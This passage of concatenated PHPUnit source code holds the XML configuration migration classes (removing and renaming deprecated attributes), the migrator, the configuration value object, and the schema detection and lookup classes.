DOMElement) { throw new MigrationException('Unexpected state - No coverage element'); } $include = $document->createElement('include'); $coverage->appendChild($include); foreach (SnapshotNodeList::fromNodeList($whitelist->childNodes) as $child) { if (!$child instanceof DOMElement) { continue; } if (!($child->nodeName === 'directory' || $child->nodeName === 'file')) { continue; } $include->appendChild($child); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function assert; use DOMDocument; use DOMElement; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class RemoveBeStrictAboutResourceUsageDuringSmallTestsAttribute implements Migration { public function migrate(DOMDocument $document): void { $root = $document->documentElement; assert($root instanceof DOMElement); if ($root->hasAttribute('beStrictAboutResourceUsageDuringSmallTests')) { $root->removeAttribute('beStrictAboutResourceUsageDuringSmallTests'); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function assert; use DOMDocument; use DOMElement; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class RemoveBeStrictAboutTodoAnnotatedTestsAttribute implements Migration { public function migrate(DOMDocument $document): void { $root = $document->documentElement; assert($root instanceof DOMElement); if ($root->hasAttribute('beStrictAboutTodoAnnotatedTests')) { $root->removeAttribute('beStrictAboutTodoAnnotatedTests'); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function assert; use DOMDocument; use DOMElement; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class RemoveCacheResultFileAttribute implements Migration { public function migrate(DOMDocument $document): void { $root = $document->documentElement; assert($root instanceof DOMElement); if ($root->hasAttribute('cacheResultFile')) { $root->removeAttribute('cacheResultFile'); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function assert; use DOMDocument; use DOMElement; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class RemoveCacheTokensAttribute implements Migration { public function migrate(DOMDocument $document): void { $root = $document->documentElement; assert($root instanceof DOMElement); if ($root->hasAttribute('cacheTokens')) { $root->removeAttribute('cacheTokens'); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function assert; use DOMDocument; use DOMElement; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class RemoveConversionToExceptionsAttributes implements Migration { public function migrate(DOMDocument $document): void { $root = $document->documentElement; assert($root instanceof DOMElement); if ($root->hasAttribute('convertDeprecationsToExceptions')) { $root->removeAttribute('convertDeprecationsToExceptions'); } if ($root->hasAttribute('convertErrorsToExceptions')) { $root->removeAttribute('convertErrorsToExceptions'); } if ($root->hasAttribute('convertNoticesToExceptions')) { $root->removeAttribute('convertNoticesToExceptions'); } if ($root->hasAttribute('convertWarningsToExceptions')) { $root->removeAttribute('convertWarningsToExceptions'); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use DOMDocument; use DOMElement; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class RemoveCoverageElementCacheDirectoryAttribute implements Migration { public function migrate(DOMDocument $document): void { $node = $document->getElementsByTagName('coverage')->item(0); if (!$node instanceof DOMElement || $node->parentNode === null) { return; } if ($node->hasAttribute('cacheDirectory')) { $node->removeAttribute('cacheDirectory'); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use DOMDocument; use DOMElement; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class RemoveCoverageElementProcessUncoveredFilesAttribute implements Migration { public function migrate(DOMDocument $document): void { $node = $document->getElementsByTagName('coverage')->item(0); if (!$node instanceof DOMElement || $node->parentNode === null) { return; } if ($node->hasAttribute('processUncoveredFiles')) { $node->removeAttribute('processUncoveredFiles'); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function sprintf; use DOMDocument; use DOMElement; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class RemoveEmptyFilter implements Migration { /** * @throws MigrationException */ public function migrate(DOMDocument $document): void { $whitelist = $document->getElementsByTagName('whitelist')->item(0); if ($whitelist instanceof DOMElement) { $this->ensureEmpty($whitelist); $whitelist->parentNode->removeChild($whitelist); } $filter = $document->getElementsByTagName('filter')->item(0); if ($filter instanceof DOMElement) { $this->ensureEmpty($filter); $filter->parentNode->removeChild($filter); } } /** * @throws MigrationException */ private function ensureEmpty(DOMElement $element): void { if ($element->attributes->length > 0) { throw new MigrationException(sprintf('%s element has unexpected attributes', $element->nodeName)); } if ($element->getElementsByTagName('*')->length > 0) { throw new MigrationException(sprintf('%s element has unexpected children', $element->nodeName)); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use DOMDocument; use DOMElement; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class RemoveListeners implements Migration { public function migrate(DOMDocument $document): void { $node = $document->getElementsByTagName('listeners')->item(0); if (!$node instanceof DOMElement || $node->parentNode === null) { return; } $node->parentNode->removeChild($node); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function assert; use DOMDocument; use DOMElement; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class RemoveLogTypes implements Migration { public function migrate(DOMDocument $document): void { $logging = $document->getElementsByTagName('logging')->item(0); if (!$logging instanceof DOMElement) { return; } foreach (SnapshotNodeList::fromNodeList($logging->getElementsByTagName('log')) as $logNode) { assert($logNode instanceof DOMElement); switch ($logNode->getAttribute('type')) { case 'json': case 'tap': $logging->removeChild($logNode); } } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use DOMDocument; use DOMElement; use DOMXPath; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class RemoveLoggingElements implements Migration { public function migrate(DOMDocument $document): void { $this->removeTestDoxElement($document); $this->removeTextElement($document); } private function removeTestDoxElement(DOMDocument $document): void { $node = (new DOMXPath($document))->query('logging/testdoxXml')->item(0); if (!$node instanceof DOMElement || $node->parentNode === null) { return; } $node->parentNode->removeChild($node); } private function removeTextElement(DOMDocument $document): void { $node = (new DOMXPath($document))->query('logging/text')->item(0); if (!$node instanceof DOMElement || $node->parentNode === null) { return; } $node->parentNode->removeChild($node); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function assert; use DOMDocument; use DOMElement; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class RemoveNoInteractionAttribute implements Migration { public function migrate(DOMDocument $document): void { $root = $document->documentElement; assert($root instanceof DOMElement); if ($root->hasAttribute('noInteraction')) { $root->removeAttribute('noInteraction'); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function assert; use DOMDocument; use DOMElement; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class RemovePrinterAttributes implements Migration { public function migrate(DOMDocument $document): void { $root = $document->documentElement; assert($root instanceof DOMElement); if ($root->hasAttribute('printerClass')) { $root->removeAttribute('printerClass'); } if ($root->hasAttribute('printerFile')) { $root->removeAttribute('printerFile'); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use DOMDocument; use DOMElement; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class RemoveTestDoxGroupsElement implements Migration { public function migrate(DOMDocument $document): void { $node = $document->getElementsByTagName('testdoxGroups')->item(0); if (!$node instanceof DOMElement || $node->parentNode === null) { return; } $node->parentNode->removeChild($node); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function assert; use DOMDocument; use DOMElement; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class RemoveTestSuiteLoaderAttributes implements Migration { public function migrate(DOMDocument $document): void { $root = $document->documentElement; assert($root instanceof DOMElement); if ($root->hasAttribute('testSuiteLoaderClass')) { $root->removeAttribute('testSuiteLoaderClass'); } if ($root->hasAttribute('testSuiteLoaderFile')) { $root->removeAttribute('testSuiteLoaderFile'); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function assert; use DOMDocument; use DOMElement; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class RemoveVerboseAttribute implements Migration { public function migrate(DOMDocument $document): void { $root = $document->documentElement; assert($root instanceof DOMElement); if ($root->hasAttribute('verbose')) { $root->removeAttribute('verbose'); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function assert; use DOMDocument; use DOMElement; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class RenameBackupStaticAttributesAttribute implements Migration { public function migrate(DOMDocument $document): void { $root = $document->documentElement; assert($root instanceof DOMElement); if ($root->hasAttribute('backupStaticProperties')) { return; } if (!$root->hasAttribute('backupStaticAttributes')) { return; } $root->setAttribute('backupStaticProperties', $root->getAttribute('backupStaticAttributes')); $root->removeAttribute('backupStaticAttributes'); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function assert; use DOMDocument; use DOMElement; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class RenameBeStrictAboutCoversAnnotationAttribute implements Migration { public function migrate(DOMDocument $document): void { $root = $document->documentElement; assert($root instanceof DOMElement); if ($root->hasAttribute('beStrictAboutCoverageMetadata')) { return; } if (!$root->hasAttribute('beStrictAboutCoversAnnotation')) { return; } $root->setAttribute('beStrictAboutCoverageMetadata', $root->getAttribute('beStrictAboutCoversAnnotation')); $root->removeAttribute('beStrictAboutCoversAnnotation'); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function assert; use DOMDocument; use DOMElement; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class RenameForceCoversAnnotationAttribute implements Migration { public function migrate(DOMDocument $document): void { $root = $document->documentElement; assert($root instanceof DOMElement); if ($root->hasAttribute('requireCoverageMetadata')) { return; } if (!$root->hasAttribute('forceCoversAnnotation')) { return; } $root->setAttribute('requireCoverageMetadata', $root->getAttribute('forceCoversAnnotation')); $root->removeAttribute('forceCoversAnnotation'); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function assert; use DOMDocument; use DOMElement; use PHPUnit\Runner\Version; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class UpdateSchemaLocation implements Migration { public function migrate(DOMDocument $document): void { $root = $document->documentElement; assert($root instanceof DOMElement); $root->setAttributeNS( 'http://www.w3.org/2001/XMLSchema-instance', 'xsi:noNamespaceSchemaLocation', 'https://schema.phpunit.de/' . Version::series() . '/phpunit.xsd', ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use PHPUnit\Runner\Version; use PHPUnit\Util\Xml\Loader as XmlLoader; use PHPUnit\Util\Xml\XmlException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Migrator { /** * @throws Exception * @throws MigrationException * @throws XmlException */ public function migrate(string $filename): string { $origin = (new SchemaDetector)->detect($filename); if (!$origin->detected()) { throw new Exception('The file does not validate against any known schema'); } if ($origin->version() === Version::series()) { throw new Exception('The file does not need to be migrated'); } $configurationDocument = (new XmlLoader)->loadFile($filename); foreach ((new MigrationBuilder)->build($origin->version()) as $migration) { $migration->migrate($configurationDocument); } $configurationDocument->formatOutput = true; $configurationDocument->preserveWhiteSpace = false; return $configurationDocument->saveXML(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function count; use ArrayIterator; use Countable; use DOMNode; use DOMNodeList; use IteratorAggregate; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @template-implements IteratorAggregate */ final class SnapshotNodeList implements Countable, IteratorAggregate { /** * @psalm-var list */ private array $nodes = []; public static function fromNodeList(DOMNodeList $list): self { $snapshot = new self; foreach ($list as $node) { $snapshot->nodes[] = $node; } return $snapshot; } public function count(): int { return count($this->nodes); } public function getIterator(): ArrayIterator { return new ArrayIterator($this->nodes); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class PHPUnit { private readonly ?string $cacheDirectory; private readonly bool $cacheResult; private readonly ?string $cacheResultFile; private readonly int|string $columns; private readonly string $colors; private readonly bool $stderr; private readonly bool $displayDetailsOnAllIssues; private readonly bool $displayDetailsOnIncompleteTests; private readonly bool $displayDetailsOnSkippedTests; private readonly bool $displayDetailsOnTestsThatTriggerDeprecations; private readonly bool $displayDetailsOnPhpunitDeprecations; private readonly bool $displayDetailsOnTestsThatTriggerErrors; private readonly bool $displayDetailsOnTestsThatTriggerNotices; private readonly bool $displayDetailsOnTestsThatTriggerWarnings; private readonly bool $reverseDefectList; private readonly bool $requireCoverageMetadata; private readonly ?string $bootstrap; private readonly bool $processIsolation; private readonly bool $failOnAllIssues; private readonly bool $failOnDeprecation; private readonly bool $failOnPhpunitDeprecation; private readonly bool $failOnPhpunitWarning; private readonly bool $failOnEmptyTestSuite; private readonly bool $failOnIncomplete; private readonly bool $failOnNotice; private readonly bool $failOnRisky; private readonly bool $failOnSkipped; private readonly bool $failOnWarning; private readonly bool $stopOnDefect; private readonly bool $stopOnDeprecation; private readonly bool $stopOnError; private readonly bool $stopOnFailure; private readonly bool $stopOnIncomplete; private readonly bool $stopOnNotice; private readonly bool $stopOnRisky; private readonly bool $stopOnSkipped; private readonly bool $stopOnWarning; /** * @psalm-var ?non-empty-string */ private readonly ?string $extensionsDirectory; private readonly bool $beStrictAboutChangesToGlobalState; private readonly bool $beStrictAboutOutputDuringTests; private readonly bool $beStrictAboutTestsThatDoNotTestAnything; private readonly bool $beStrictAboutCoverageMetadata; private readonly bool $enforceTimeLimit; private readonly int $defaultTimeLimit; private readonly int $timeoutForSmallTests; private readonly int $timeoutForMediumTests; private readonly int $timeoutForLargeTests; private readonly ?string $defaultTestSuite; private readonly int $executionOrder; private readonly bool $resolveDependencies; private readonly bool $defectsFirst; private readonly bool $backupGlobals; private readonly bool $backupStaticProperties; private readonly bool $registerMockObjectsFromTestArgumentsRecursively; private readonly bool $testdoxPrinter; private readonly bool $controlGarbageCollector; private readonly int $numberOfTestsBeforeGarbageCollection; /** * @psalm-param ?non-empty-string $extensionsDirectory */ public function __construct(?string $cacheDirectory, bool $cacheResult, ?string $cacheResultFile, int|string $columns, string $colors, bool $stderr, bool $displayDetailsOnAllIssues, bool $displayDetailsOnIncompleteTests, bool $displayDetailsOnSkippedTests, bool $displayDetailsOnTestsThatTriggerDeprecations, bool $displayDetailsOnPhpunitDeprecations, bool $displayDetailsOnTestsThatTriggerErrors, bool $displayDetailsOnTestsThatTriggerNotices, bool $displayDetailsOnTestsThatTriggerWarnings, bool $reverseDefectList, bool $requireCoverageMetadata, ?string $bootstrap, bool $processIsolation, bool $failOnAllIssues, bool $failOnDeprecation, bool $failOnPhpunitDeprecation, bool $failOnPhpunitWarning, bool $failOnEmptyTestSuite, bool $failOnIncomplete, bool $failOnNotice, bool $failOnRisky, bool $failOnSkipped, bool $failOnWarning, bool $stopOnDefect, bool $stopOnDeprecation, bool $stopOnError, bool $stopOnFailure, bool $stopOnIncomplete, bool $stopOnNotice, bool $stopOnRisky, bool $stopOnSkipped, bool $stopOnWarning, ?string $extensionsDirectory, bool $beStrictAboutChangesToGlobalState, bool $beStrictAboutOutputDuringTests, bool $beStrictAboutTestsThatDoNotTestAnything, bool $beStrictAboutCoverageMetadata, bool $enforceTimeLimit, int $defaultTimeLimit, int $timeoutForSmallTests, int $timeoutForMediumTests, int $timeoutForLargeTests, ?string $defaultTestSuite, int $executionOrder, bool $resolveDependencies, bool $defectsFirst, bool $backupGlobals, bool $backupStaticProperties, bool $registerMockObjectsFromTestArgumentsRecursively, bool $testdoxPrinter, bool $controlGarbageCollector, int $numberOfTestsBeforeGarbageCollection) { $this->cacheDirectory = $cacheDirectory; $this->cacheResult = $cacheResult; $this->cacheResultFile = $cacheResultFile; $this->columns = $columns; $this->colors = $colors; $this->stderr = $stderr; $this->displayDetailsOnAllIssues = $displayDetailsOnAllIssues; $this->displayDetailsOnIncompleteTests = $displayDetailsOnIncompleteTests; $this->displayDetailsOnSkippedTests = $displayDetailsOnSkippedTests; $this->displayDetailsOnTestsThatTriggerDeprecations = $displayDetailsOnTestsThatTriggerDeprecations; $this->displayDetailsOnPhpunitDeprecations = $displayDetailsOnPhpunitDeprecations; $this->displayDetailsOnTestsThatTriggerErrors = $displayDetailsOnTestsThatTriggerErrors; $this->displayDetailsOnTestsThatTriggerNotices = $displayDetailsOnTestsThatTriggerNotices; $this->displayDetailsOnTestsThatTriggerWarnings = $displayDetailsOnTestsThatTriggerWarnings; $this->reverseDefectList = $reverseDefectList; $this->requireCoverageMetadata = $requireCoverageMetadata; $this->bootstrap = $bootstrap; $this->processIsolation = $processIsolation; $this->failOnAllIssues = $failOnAllIssues; $this->failOnDeprecation = $failOnDeprecation; $this->failOnPhpunitDeprecation = $failOnPhpunitDeprecation; $this->failOnPhpunitWarning = $failOnPhpunitWarning; $this->failOnEmptyTestSuite = $failOnEmptyTestSuite; $this->failOnIncomplete = $failOnIncomplete; $this->failOnNotice = $failOnNotice; $this->failOnRisky = $failOnRisky; $this->failOnSkipped = $failOnSkipped; $this->failOnWarning = $failOnWarning; $this->stopOnDefect = $stopOnDefect; $this->stopOnDeprecation = $stopOnDeprecation; $this->stopOnError = $stopOnError; $this->stopOnFailure = $stopOnFailure; $this->stopOnIncomplete = $stopOnIncomplete; $this->stopOnNotice = $stopOnNotice; $this->stopOnRisky = $stopOnRisky; $this->stopOnSkipped = $stopOnSkipped; $this->stopOnWarning = $stopOnWarning; $this->extensionsDirectory = $extensionsDirectory; $this->beStrictAboutChangesToGlobalState = $beStrictAboutChangesToGlobalState; $this->beStrictAboutOutputDuringTests = $beStrictAboutOutputDuringTests; $this->beStrictAboutTestsThatDoNotTestAnything = $beStrictAboutTestsThatDoNotTestAnything; $this->beStrictAboutCoverageMetadata = $beStrictAboutCoverageMetadata; $this->enforceTimeLimit = $enforceTimeLimit; $this->defaultTimeLimit = $defaultTimeLimit; $this->timeoutForSmallTests = $timeoutForSmallTests; $this->timeoutForMediumTests = $timeoutForMediumTests; $this->timeoutForLargeTests = $timeoutForLargeTests; $this->defaultTestSuite = $defaultTestSuite; $this->executionOrder = $executionOrder; $this->resolveDependencies = $resolveDependencies; $this->defectsFirst = $defectsFirst; $this->backupGlobals = $backupGlobals; $this->backupStaticProperties = $backupStaticProperties; $this->registerMockObjectsFromTestArgumentsRecursively = $registerMockObjectsFromTestArgumentsRecursively; $this->testdoxPrinter = $testdoxPrinter; $this->controlGarbageCollector = $controlGarbageCollector; $this->numberOfTestsBeforeGarbageCollection = $numberOfTestsBeforeGarbageCollection; } /** * @psalm-assert-if-true !null $this->cacheDirectory */ public function hasCacheDirectory(): bool { return $this->cacheDirectory !== null; } /** * @throws Exception */ public function cacheDirectory(): string { if (!$this->hasCacheDirectory()) { throw new Exception('Cache directory is not configured'); } return $this->cacheDirectory; } public function cacheResult(): bool { return $this->cacheResult; } /** * @psalm-assert-if-true !null $this->cacheResultFile * * @deprecated */ public function hasCacheResultFile(): bool { return $this->cacheResultFile !== null; } /** * @throws Exception * * @deprecated */ public function cacheResultFile(): string { if (!$this->hasCacheResultFile()) { throw new Exception('Cache result file is not configured'); } return $this->cacheResultFile; } public function columns(): int|string { return $this->columns; } public function colors(): string { return $this->colors; } public function stderr(): bool { return $this->stderr; } public function displayDetailsOnAllIssues(): bool { return $this->displayDetailsOnAllIssues; } public function displayDetailsOnIncompleteTests(): bool { return $this->displayDetailsOnIncompleteTests; } public function displayDetailsOnSkippedTests(): bool { return $this->displayDetailsOnSkippedTests; } public function displayDetailsOnTestsThatTriggerDeprecations(): bool { return $this->displayDetailsOnTestsThatTriggerDeprecations; } public function displayDetailsOnPhpunitDeprecations(): bool { return $this->displayDetailsOnPhpunitDeprecations; } public function displayDetailsOnTestsThatTriggerErrors(): bool { return $this->displayDetailsOnTestsThatTriggerErrors; } public function displayDetailsOnTestsThatTriggerNotices(): bool { return $this->displayDetailsOnTestsThatTriggerNotices; } public function displayDetailsOnTestsThatTriggerWarnings(): bool { return $this->displayDetailsOnTestsThatTriggerWarnings; } public function reverseDefectList(): bool { return $this->reverseDefectList; } public function requireCoverageMetadata(): bool { return $this->requireCoverageMetadata; } /** * @psalm-assert-if-true !null $this->bootstrap */ public function hasBootstrap(): bool { return $this->bootstrap !== null; } /** * @throws Exception */ public function bootstrap(): string { if (!$this->hasBootstrap()) { throw new Exception('Bootstrap script is not configured'); } return $this->bootstrap; } public function processIsolation(): bool { return $this->processIsolation; } public function failOnAllIssues(): bool { return $this->failOnAllIssues; } public function failOnDeprecation(): bool { return $this->failOnDeprecation; } public function failOnPhpunitDeprecation(): bool { return $this->failOnPhpunitDeprecation; } public function failOnPhpunitWarning(): bool { return $this->failOnPhpunitWarning; } public function failOnEmptyTestSuite(): bool { return $this->failOnEmptyTestSuite; } public function failOnIncomplete(): bool { return $this->failOnIncomplete; } public function failOnNotice(): bool { return $this->failOnNotice; } public function failOnRisky(): bool { return $this->failOnRisky; } public function failOnSkipped(): bool { return $this->failOnSkipped; } public function failOnWarning(): bool { return $this->failOnWarning; } public function stopOnDefect(): bool { return $this->stopOnDefect; } public function stopOnDeprecation(): bool { return $this->stopOnDeprecation; } public function stopOnError(): bool { return $this->stopOnError; } public function stopOnFailure(): bool { return $this->stopOnFailure; } public function stopOnIncomplete(): bool { return $this->stopOnIncomplete; } public function stopOnNotice(): bool { return $this->stopOnNotice; } public function stopOnRisky(): bool { return $this->stopOnRisky; } public function stopOnSkipped(): bool { return $this->stopOnSkipped; } public function stopOnWarning(): bool { return $this->stopOnWarning; } /** * @psalm-assert-if-true !null $this->extensionsDirectory */ public function hasExtensionsDirectory(): bool { return $this->extensionsDirectory !== null; } /** * @throws Exception * * @psalm-return non-empty-string */ public function extensionsDirectory(): string { if (!$this->hasExtensionsDirectory()) { throw new Exception('Extensions directory is not configured'); } return $this->extensionsDirectory; } public function beStrictAboutChangesToGlobalState(): bool { return $this->beStrictAboutChangesToGlobalState; } public function beStrictAboutOutputDuringTests(): bool { return $this->beStrictAboutOutputDuringTests; } public function beStrictAboutTestsThatDoNotTestAnything(): bool { return $this->beStrictAboutTestsThatDoNotTestAnything; } public function beStrictAboutCoverageMetadata(): bool { return $this->beStrictAboutCoverageMetadata; } public function enforceTimeLimit(): bool { return $this->enforceTimeLimit; } public function defaultTimeLimit(): int { return $this->defaultTimeLimit; } public function timeoutForSmallTests(): int { return $this->timeoutForSmallTests; } public function timeoutForMediumTests(): int { return $this->timeoutForMediumTests; } public function timeoutForLargeTests(): int { return $this->timeoutForLargeTests; } /** * @psalm-assert-if-true !null $this->defaultTestSuite */ public function hasDefaultTestSuite(): bool { return $this->defaultTestSuite !== null; } /** * @throws Exception */ public function defaultTestSuite(): string { if (!$this->hasDefaultTestSuite()) { throw new Exception('Default test suite is not configured'); } return $this->defaultTestSuite; } public function executionOrder(): int { return $this->executionOrder; } public function resolveDependencies(): bool { return $this->resolveDependencies; } public function defectsFirst(): bool { return $this->defectsFirst; } public function backupGlobals(): bool { return $this->backupGlobals; } public function backupStaticProperties(): bool { return $this->backupStaticProperties; } /** * @deprecated */ public function registerMockObjectsFromTestArgumentsRecursively(): bool { return $this->registerMockObjectsFromTestArgumentsRecursively; } public function testdoxPrinter(): bool { return $this->testdoxPrinter; } public function controlGarbageCollector(): bool { return $this->controlGarbageCollector; } public function numberOfTestsBeforeGarbageCollection(): int { return $this->numberOfTestsBeforeGarbageCollection; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class FailedSchemaDetectionResult extends SchemaDetectionResult { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use PHPUnit\Util\Xml\XmlException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ abstract class SchemaDetectionResult { /** * @psalm-assert-if-true SuccessfulSchemaDetectionResult $this */ public function detected(): bool { return false; } /** * @throws XmlException */ public function version(): string { throw new XmlException('No supported schema was detected'); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use PHPUnit\Util\Xml\Loader; use PHPUnit\Util\Xml\XmlException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class SchemaDetector { /** * @throws XmlException */ public function detect(string $filename): SchemaDetectionResult { $document = (new Loader)->loadFile($filename); $schemaFinder = new SchemaFinder; foreach ($schemaFinder->available() as $candidate) { $schema = (new SchemaFinder)->find($candidate); if (!(new Validator)->validate($document, $schema)->hasValidationErrors()) { return new SuccessfulSchemaDetectionResult($candidate); } } return new FailedSchemaDetectionResult; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @psalm-immutable */ final class SuccessfulSchemaDetectionResult extends SchemaDetectionResult { /** * @psalm-var non-empty-string */ private readonly string $version; /** * @psalm-param non-empty-string $version */ public function __construct(string $version) { $this->version = $version; } /** * @psalm-assert-if-true SuccessfulSchemaDetectionResult $this */ public function detected(): bool { return true; } /** * @psalm-return non-empty-string */ public function version(): string { return $this->version; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use function assert; use function defined; use function is_file; use function rsort; use function sprintf; use DirectoryIterator; use PHPUnit\Runner\Version; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class SchemaFinder { /** * @psalm-return non-empty-list */ public function available(): array { $result = [Version::series()]; foreach ((new DirectoryIterator($this->path() . 'schema')) as $file) { if ($file->isDot()) { continue; } $version = $file->getBasename('.xsd'); assert(!empty($version)); $result[] = $version; } rsort($result); return $result; } /** * @throws CannotFindSchemaException */ public function find(string $version): string { if ($version === Version::series()) { $filename = $this->path() . 'phpunit.xsd'; } else { $filename = $this->path() . 'schema/' . $version . '.xsd'; } if (!is_file($filename)) { throw new CannotFindSchemaException( sprintf( 'Schema for PHPUnit %s is not available', $version, ), ); } return $filename; } private function path(): string { if (defined('__PHPUNIT_PHAR_ROOT__')) { return __PHPUNIT_PHAR_ROOT__ . '/'; } return __DIR__ . '/../../../../'; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\XmlConfiguration; use const PHP_VERSION; use function array_merge; use function array_unique; use function explode; use function in_array; use function is_dir; use function is_file; use function str_contains; use function version_compare; use PHPUnit\Framework\Exception as FrameworkException; use PHPUnit\Framework\TestSuite as TestSuiteObject; use PHPUnit\TextUI\Configuration\TestSuiteCollection; use PHPUnit\TextUI\RuntimeException; use 